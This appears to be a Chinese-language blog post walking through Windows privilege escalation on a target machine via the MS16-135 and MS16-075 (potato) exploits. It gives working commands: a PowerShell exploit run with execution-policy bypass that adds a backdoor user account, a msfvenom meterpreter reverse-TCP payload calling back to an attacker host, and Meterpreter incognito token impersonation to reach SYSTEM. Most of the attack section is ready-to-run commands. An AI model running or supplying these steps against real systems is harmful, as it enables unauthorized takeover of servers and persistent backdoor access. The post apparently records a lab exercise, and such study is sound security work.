ms16-075提权

利用windows-exploit-suggester.py脚本,查找系统未打补丁有哪些,脚本下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

利用ms16-135内核漏洞提权,
powershell -nop -exec bypass -c "& {Import-Module 'C:\Users
\123\Desktop\MS16-135.ps1';Invoke-MS16-135 -Application cmd.exe -commandline '/c  net user HELPS amin!@#45 /add'}",执行完成后可成功添加账户

利用ms16-075提权

  1. 生成msf生成反弹木马

msfvenom -p windows/meterpreter/reverse_tcpLHOST=192.168.153.130  LPORT=4433 -f exe -o 4433.exe

  1. 将反弹木马上传到靶机,执行后,msf反弹会shell,可见当前用户权限为iis

  1. 上传potato.exe到靶机

potato.exe下载地址:

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

dir可看到potato.exe已在靶机目录中

  1. 执行potato.exe

list_tokens –g   列出目标主机用户组的可用令牌

 

use incognito  加载incognito功能

list_tokens –u  列出目标主机用户的可用令牌

execute -cH -f potato.exe

成功提权,结果如下

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值